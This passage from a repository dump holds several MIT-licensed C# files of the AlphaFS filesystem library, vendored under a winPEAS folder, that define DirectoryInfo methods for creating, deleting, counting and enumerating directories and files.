OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Determines whether the given path refers to an existing directory junction on disk. /// /// Returns true if refers to an existing directory junction. /// Returns false if the directory junction does not exist or an error occurs when trying to determine if the specified file exists. /// ///   /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// /// /// /// /// /// The path to test. [SecurityCritical] public bool ExistsJunction(string junctionPath) { return Directory.ExistsJunctionCore(Transaction, null, junctionPath, PathFormat.RelativePath); } /// [AlphaFS] Determines whether the given path refers to an existing directory junction on disk. /// /// Returns true if refers to an existing directory junction. /// Returns false if the directory junction does not exist or an error occurs when trying to determine if the specified file exists. /// ///   /// /// The Exists method returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// /// /// /// /// /// /// The path to test. /// Indicates the format of the path parameter(s). [SecurityCritical] public bool ExistsJunction(string junctionPath, PathFormat pathFormat) { return Directory.ExistsJunctionCore(Transaction, null, junctionPath, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.CountFileSystemObjects.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Linq; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Counts file system objects: files, folders or both) in a given directory. /// The counted number of file system objects. /// /// /// /// /// /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] public long CountFileSystemObjects(DirectoryEnumerationOptions options) { return Directory.EnumerateFileSystemEntryInfosCore(null, Transaction, LongFullName, Path.WildcardStarMatchAll, null, options, null, PathFormat.LongFullPath).Count(); } /// [AlphaFS] Counts file system objects: files, folders or both) in a given directory. /// The counted number of file system objects. /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] public long CountFileSystemObjects(string searchPattern, DirectoryEnumerationOptions options) { return Directory.EnumerateFileSystemEntryInfosCore(null, Transaction, LongFullName, searchPattern, null, options, null, PathFormat.LongFullPath).Count(); } /// [AlphaFS] Counts file system objects: files, folders or both) in a given directory. /// The counted number of file system objects. /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. [SecurityCritical] public long CountFileSystemObjects(string searchPattern, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters) { return Directory.EnumerateFileSystemEntryInfosCore(null, Transaction, LongFullName, searchPattern, null, options, filters, PathFormat.LongFullPath).Count(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.Create.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { #region .NET /// Creates a directory. /// If the directory already exists, this method does nothing. [SecurityCritical] public void Create() { Directory.CreateDirectoryCore(true, Transaction, LongFullName, null, null, false, PathFormat.LongFullPath); } /// Creates a directory using a object. /// The access control to apply to the directory. /// If the directory already exists, this method does nothing. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public void Create(DirectorySecurity directorySecurity) { Directory.CreateDirectoryCore(true, Transaction, LongFullName, null, directorySecurity, false, PathFormat.LongFullPath); } #endregion // .NET /// [AlphaFS] Creates a directory using a object. /// When true compresses the directory using NTFS compression. /// If the directory already exists, this method does nothing. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public DirectoryInfo Create(bool compress) { return Directory.CreateDirectoryCore(true, Transaction, LongFullName, null, null, compress, PathFormat.LongFullPath); } /// [AlphaFS] Creates a directory using a object. /// The access control to apply to the directory. /// When true compresses the directory using NTFS compression. /// If the directory already exists, this method does nothing. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public DirectoryInfo Create(DirectorySecurity directorySecurity, bool compress) { return Directory.CreateDirectoryCore(true, Transaction, LongFullName, null, directorySecurity, compress, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.CreateSubdirectory.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { #region .NET /// Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the class. /// The specified path. This cannot be a different disk volume. /// The last directory specified in . /// /// Any and all directories specified in path are created, unless some part of path is invalid. /// The path parameter specifies a directory path, not a file path. /// If the subdirectory already exists, this method does nothing. /// [SecurityCritical] public DirectoryInfo CreateSubdirectory(string path) { return CreateSubdirectoryCore(path, null, null, false); } /// Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the class. /// The specified path. This cannot be a different disk volume. /// The security to apply. /// The last directory specified in . /// /// Any and all directories specified in path are created, unless some part of path is invalid. /// The path parameter specifies a directory path, not a file path. /// If the subdirectory already exists, this method does nothing. /// [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public DirectoryInfo CreateSubdirectory(string path, DirectorySecurity directorySecurity) { return CreateSubdirectoryCore(path, null, directorySecurity, false); } #endregion // .NET /// [AlphaFS] Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the class. /// The last directory specified in . /// /// Any and all directories specified in path are created, unless some part of path is invalid. /// The path parameter specifies a directory path, not a file path. /// If the subdirectory already exists, this method does nothing. /// /// The specified path. This cannot be a different disk volume. /// When true compresses the directory using NTFS compression. [SecurityCritical] public DirectoryInfo CreateSubdirectory(string path, bool compress) { return CreateSubdirectoryCore(path, null, null, compress); } /// [AlphaFS] Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the class. /// The specified path. This cannot be a different disk volume. /// The path of the directory to use as a template when creating the new directory. /// When true compresses the directory using NTFS compression. /// The last directory specified in . /// /// Any and all directories specified in path are created, unless some part of path is invalid. /// The path parameter specifies a directory path, not a file path. /// If the subdirectory already exists, this method does nothing. /// [SecurityCritical] public DirectoryInfo CreateSubdirectory(string path, string templatePath, bool compress) { return CreateSubdirectoryCore(path, templatePath, null, compress); } /// [AlphaFS] Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the class. /// The specified path. This cannot be a different disk volume. /// The security to apply. /// When true compresses the directory using NTFS compression. /// The last directory specified in . /// /// Any and all directories specified in path are created, unless some part of path is invalid. /// The path parameter specifies a directory path, not a file path. /// If the subdirectory already exists, this method does nothing. /// [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public DirectoryInfo CreateSubdirectory(string path, DirectorySecurity directorySecurity, bool compress) { return CreateSubdirectoryCore(path, null, directorySecurity, compress); } /// [AlphaFS] Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the class. /// The path of the directory to use as a template when creating the new directory. /// The specified path. This cannot be a different disk volume. /// When true compresses the directory using NTFS compression. /// The security to apply. /// The last directory specified in . /// /// Any and all directories specified in path are created, unless some part of path is invalid. /// The path parameter specifies a directory path, not a file path. /// If the subdirectory already exists, this method does nothing. /// [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public DirectoryInfo CreateSubdirectory(string path, string templatePath, DirectorySecurity directorySecurity, bool compress) { return CreateSubdirectoryCore(path, templatePath, directorySecurity, compress); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.CreateSubdirectoryCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; using System.Security.AccessControl; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// Creates a subdirectory or subdirectories on the specified path. The specified path can be relative to this instance of the DirectoryInfo class. /// The last directory specified in path as an object. /// /// Any and all directories specified in path are created, unless some part of path is invalid. /// The path parameter specifies a directory path, not a file path. /// If the subdirectory already exists, this method does nothing. /// /// The specified path. This cannot be a different disk volume or Universal Naming Convention (UNC) name. /// The path of the directory to use as a template when creating the new directory. /// The security to apply. /// When true compresses the directory using NTFS compression. [SecurityCritical] private DirectoryInfo CreateSubdirectoryCore(string path, string templatePath, ObjectSecurity directorySecurity, bool compress) { var pathLp = Path.CombineCore(false, LongFullName, path); var templatePathLp = null == templatePath ? null : Path.GetExtendedLengthPathCore(Transaction, templatePath, PathFormat.RelativePath, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator); if (string.Compare(LongFullName, 0, pathLp, 0, LongFullName.Length, StringComparison.OrdinalIgnoreCase) != 0) throw new ArgumentException(Resources.Invalid_Subpath, "path"); return Directory.CreateDirectoryCore(false, Transaction, pathLp, templatePathLp, directorySecurity, compress, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.Delete.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { #region .NET /// Deletes this if it is empty. /// /// /// /// /// /// [SecurityCritical] public override void Delete() { Directory.DeleteDirectoryCore(Transaction, EntryInfo, null, false, false, false, PathFormat.LongFullPath); } /// Deletes this instance of a , specifying whether to delete subdirectories and files. /// /// If the has no files and no subdirectories, this method deletes the even if recursive is false. /// Attempting to delete a that is not empty when recursive is false throws an . /// /// /// /// /// /// /// /// true to delete this directory, its subdirectories, and all files; otherwise, false. [SecurityCritical] public void Delete(bool recursive) { Directory.DeleteDirectoryCore(Transaction, EntryInfo, null, recursive, false, false, PathFormat.LongFullPath); } #endregion // .NET /// [AlphaFS] Deletes this instance of a , specifying whether to delete files and subdirectories. /// /// If the has no files and no subdirectories, this method deletes the even if recursive is false. /// Attempting to delete a that is not empty when recursive is false throws an . /// /// /// /// /// /// /// /// true to delete this directory, its subdirectories, and all files; otherwise, false. /// true ignores read only attribute of files and directories. [SecurityCritical] public void Delete(bool recursive, bool ignoreReadOnly) { Directory.DeleteDirectoryCore(Transaction, EntryInfo, null, recursive, ignoreReadOnly, false, PathFormat.LongFullPath); } /// [AlphaFS] Deletes this instance of a , specifying whether to delete files and subdirectories. /// /// If the has no files and no subdirectories, this method deletes the even if recursive is false. /// Attempting to delete a that is not empty when recursive is false throws an . /// /// /// /// /// /// /// /// true to delete this directory, its subdirectories, and all files; otherwise, false. /// true ignores read only attribute of files and directories. /// When true does not throw an when the directory does not exist. [SecurityCritical] public void Delete(bool recursive, bool ignoreReadOnly, bool continueOnNotFound) { Directory.DeleteDirectoryCore(Transaction, EntryInfo, null, recursive, ignoreReadOnly, continueOnNotFound, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.DeleteEmptySubdirectories.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Deletes empty subdirectories from the instance. [SecurityCritical] public void DeleteEmptySubdirectories() { Directory.DeleteEmptySubdirectoriesCore(EntryInfo, Transaction, null, false, false, PathFormat.LongFullPath); } /// [AlphaFS] Deletes empty subdirectories from the instance. /// true deletes empty subdirectories from this directory and its subdirectories. [SecurityCritical] public void DeleteEmptySubdirectories(bool recursive) { Directory.DeleteEmptySubdirectoriesCore(EntryInfo, Transaction, null, recursive, false, PathFormat.LongFullPath); } /// [AlphaFS] Deletes empty subdirectories from the instance. /// true deletes empty subdirectories from this directory and its subdirectories. /// true overrides read only of empty directories. [SecurityCritical] public void DeleteEmptySubdirectories(bool recursive, bool ignoreReadOnly) { Directory.DeleteEmptySubdirectoriesCore(EntryInfo, Transaction, null, recursive, ignoreReadOnly, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.EnumerateAlternateDataStreams.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.Generic; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Returns an enumerable collection of instances for the directory. /// An enumerable collection of instances for the directory. [SecurityCritical] public IEnumerable EnumerateAlternateDataStreams() { return File.EnumerateAlternateDataStreamsCore(Transaction, true, LongFullName, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.EnumerateDirectories.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { #region .NET /// Returns an enumerable collection of directory information in the current directory. /// An enumerable collection of directories in the current directory. /// /// /// /// /// /// [SecurityCritical] public IEnumerable EnumerateDirectories() { return Directory.EnumerateFileSystemEntryInfosCore(true, Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, null, PathFormat.LongFullPath); } /// Returns an enumerable collection of directory information that matches a specified search pattern. /// An enumerable collection of directories that matches . /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SecurityCritical] public IEnumerable EnumerateDirectories(string searchPattern) { return Directory.EnumerateFileSystemEntryInfosCore(true, Transaction, LongFullName, searchPattern, null, null, null, PathFormat.LongFullPath); } /// Returns an enumerable collection of directory information that matches a specified search pattern and search subdirectory option. /// An enumerable collection of directories that matches and . /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SecurityCritical] public IEnumerable EnumerateDirectories(string searchPattern, SearchOption searchOption) { return Directory.EnumerateFileSystemEntryInfosCore(true, Transaction, LongFullName, searchPattern, searchOption, null, null, PathFormat.LongFullPath); } #endregion // .NET /// [AlphaFS] Returns an enumerable collection of directory information in the current directory. /// An enumerable collection of directories in the current directory. /// /// /// /// /// /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] public IEnumerable EnumerateDirectories(DirectoryEnumerationOptions options) { return Directory.EnumerateFileSystemEntryInfosCore(true, Transaction, LongFullName, Path.WildcardStarMatchAll, null, options, null, PathFormat.LongFullPath); } /// [AlphaFS] Returns an enumerable collection of directory information that matches a specified search pattern. /// An enumerable collection of directories that matches . /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SecurityCritical] public IEnumerable EnumerateDirectories(string searchPattern, DirectoryEnumerationOptions options) { return Directory.EnumerateFileSystemEntryInfosCore(true, Transaction, LongFullName, searchPattern, null, options, null, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.EnumerateFileSystemInfos.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { #region .NET /// Returns an enumerable collection of file system information in the current directory. /// An enumerable collection of file system information in the current directory. /// /// /// /// /// /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public IEnumerable EnumerateFileSystemInfos() { return Directory.EnumerateFileSystemEntryInfosCore(null, Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, null, PathFormat.LongFullPath); } /// Returns an enumerable collection of file system information that matches a specified search pattern. /// An enumerable collection of file system information objects that matches . /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public IEnumerable EnumerateFileSystemInfos(string searchPattern) { return Directory.EnumerateFileSystemEntryInfosCore(null, Transaction, LongFullName, searchPattern, null, null, null, PathFormat.LongFullPath); } /// Returns an enumerable collection of file system information that matches a specified search pattern and search subdirectory option. /// An enumerable collection of file system information objects that matches and . /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// /// One of the enumeration values that specifies whether the /// should include only the current directory or should include all subdirectories. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public IEnumerable EnumerateFileSystemInfos(string searchPattern, SearchOption searchOption) { return Directory.EnumerateFileSystemEntryInfosCore(null, Transaction, LongFullName, searchPattern, searchOption, null, null, PathFormat.LongFullPath); } #endregion // .NET /// [AlphaFS] Returns an enumerable collection of file system information in the current directory. /// An enumerable collection of file system information in the current directory. /// /// /// /// /// /// /// flags that specify how the directory is to be enumerated. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public IEnumerable EnumerateFileSystemInfos(DirectoryEnumerationOptions options) { return Directory.EnumerateFileSystemEntryInfosCore(null, Transaction, LongFullName, Path.WildcardStarMatchAll, null, options, null, PathFormat.LongFullPath); } /// [AlphaFS] Returns an enumerable collection of file system information that matches a specified search pattern. /// An enumerable collection of file system information objects that matches . /// /// /// /// /// /// /// /// The search string to match against the names of directories in path. /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Infos")] [SecurityCritical] public IEnumerable EnumerateFileSystemInfos(string searchPattern, DirectoryEnumerationOptions options) { return Directory.EnumerateFileSystemEntryInfosCore(null, Transaction, LongFullName, searchPattern, null, options, null, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.EnumerateFiles.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER 